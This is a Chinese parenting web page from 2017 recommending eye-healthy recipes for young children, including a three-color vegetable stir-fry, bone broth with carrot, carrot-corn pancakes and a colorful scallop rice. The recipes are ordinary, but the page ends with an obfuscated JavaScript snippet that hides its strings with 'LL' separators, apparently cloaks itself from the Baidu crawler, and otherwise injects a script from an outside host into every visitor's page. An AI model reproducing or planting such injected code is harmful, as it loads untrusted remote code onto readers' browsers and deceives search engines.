當(dāng)前位置:首頁 > 母嬰 > 寶寶飲食 > 正文

護(hù)眼食譜助寶寶吃出好視力

2017-09-02 10:31:02  來源:360常識網(wǎng)   熱度:
導(dǎo)語:三色蔬菜燴,取胡蘿卜、青椒各1個(gè),黃瓜半根,豌豆、肉少量,急火快炒(防止?fàn)I養(yǎng)流失)。胡蘿卜富含維生素A,青椒、黃瓜富含維生素C,瘦肉中鉻、核黃素含量高。這道菜口感清爽,色彩鮮艷,孩子一定愛吃。

護(hù)眼食譜助寶寶吃出好視力

護(hù)眼食譜助寶寶吃出好視力

1、三色蔬菜燴很不錯(cuò)

小孩視力發(fā)育不穩(wěn)定,自我防護(hù)意識和控制能力差,家長要多操點(diǎn)心。比如讓他們養(yǎng)成勤洗手、少揉眼、少看電視、多看綠色植物、多做眼保健操的習(xí)慣。飲食方面,有三種營養(yǎng)素對眼睛有很好的保護(hù)作用。如富含維生素A、DHA和葉黃素的食品(動(dòng)物肝臟、魚肝油、胡蘿卜、菠菜、韭菜以及橘子、柿子等),富含維生素C的食物(青椒、黃瓜、菜花、小白菜、鮮棗等),還有就是鈣,有消除眼睛緊張的作用(豆類、綠葉蔬菜、蝦皮等),希望年輕的父母們多給孩子吃這些有益眼睛的食物。

專家推薦:三色蔬菜燴,取胡蘿卜、青椒各1個(gè),黃瓜半根,豌豆、肉少量,急火快炒(防止?fàn)I養(yǎng)流失)。胡蘿卜富含維生素A,青椒、黃瓜富含維生素C,瘦肉中鉻、核黃素含量高。這道菜口感清爽,色彩鮮艷,孩子一定愛吃。

2、骨頭湯加點(diǎn)胡蘿卜

從營養(yǎng)學(xué)上來看,維生素A對于保護(hù)眼睛至關(guān)重要,同時(shí),還需要補(bǔ)充鈣、鋅等微量元素,蛋白質(zhì)攝入量也不可過低。單就這幾種營養(yǎng)成分來看,動(dòng)物肝臟是最佳的護(hù)眼食物之一。它們維生素A含量極高,鈣、鋅和蛋白質(zhì)也一個(gè)都不少。醫(yī)院的食堂會將肝蒸熟了,做成肝泥,特別適合幾個(gè)月的嬰兒食用,幫助眼睛發(fā)育,這一點(diǎn)是醫(yī)生非常推崇的。

當(dāng)然,動(dòng)物肝臟不可能每天都吃,多吃點(diǎn)胡蘿卜也不錯(cuò)。它里邊富含胡蘿卜素,在體內(nèi)會轉(zhuǎn)化為維生素A。大多數(shù)小孩都喜歡這種又甜又好看的食物。不過,胡蘿卜素是脂溶性的,需要與油同時(shí)攝入,所以你可以在燉骨頭湯時(shí)加點(diǎn)胡蘿卜,這樣不僅增加了大量維生素A,蛋白質(zhì)和鈣、鐵也一并有所補(bǔ)充。如果你的小孩容易腹瀉,可以把骨頭湯換成魚湯,效果一樣好。

3、胡蘿卜玉米小蛋餅

食材:甜玉米1根、小麥面粉100克、胡蘿卜2個(gè)、雞蛋2個(gè)、色拉油適量、食鹽適量、小蔥適量。

做法:(1)甜玉米剝粒備用,胡蘿卜切小丁,小蔥切末。(2)鍋中放適量油,下玉米粒和胡蘿卜丁,翻炒3-4分鐘,至熟。(3)將炒熟的玉米粒和胡蘿卜丁裝入大碗中。(4)加入2個(gè)雞蛋,拌勻,加入3-4勺面粉、蔥花,調(diào)入適量鹽,拌勻。(5)鍋微熱后,舀起一勺面糊,垂直、緩緩加入鍋?zhàn)永?,就會自然形成圓形。小火煎至面糊凝固,翻個(gè)面,繼續(xù)煎至熟透即可。

4、來一道五彩瑤柱飯

小孩的護(hù)眼飲食,除了注意各大營養(yǎng)素的配比外,色彩和形狀都還要經(jīng)過精心地配制和烹調(diào),這樣孩子吃起來也就更有動(dòng)力了。日本家長在這方面的做法值得推薦,他們喜歡在米飯上下功夫,比如這道五彩瑤柱飯,作為主食攝入,每天都可以吃一點(diǎn),補(bǔ)充也更充分。

在做米飯的時(shí)候,加一點(diǎn)玉米粒(焯水)、豌豆粒(焯水)、干貝30克(水發(fā)洗凈焯水)、雞蛋1個(gè)(蛋液入鍋炒碎)、一點(diǎn)雞肝(焯水切?。善喔ㄇ卸。?、胡蘿卜(焯水切丁)、彩椒(焯水切?。偌狱c(diǎn)料酒、鹽、蔥花,不加味精。要注意,可以按谷類、肉蛋類、蔬菜類、調(diào)味品的順序依次放入鍋中快速翻炒,待原料充分混合即可裝盤食用,五彩繽紛,好吃極了。同時(shí),家長還可搭配上番茄紫菜湯和小水果,這樣吃起來就很全面了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}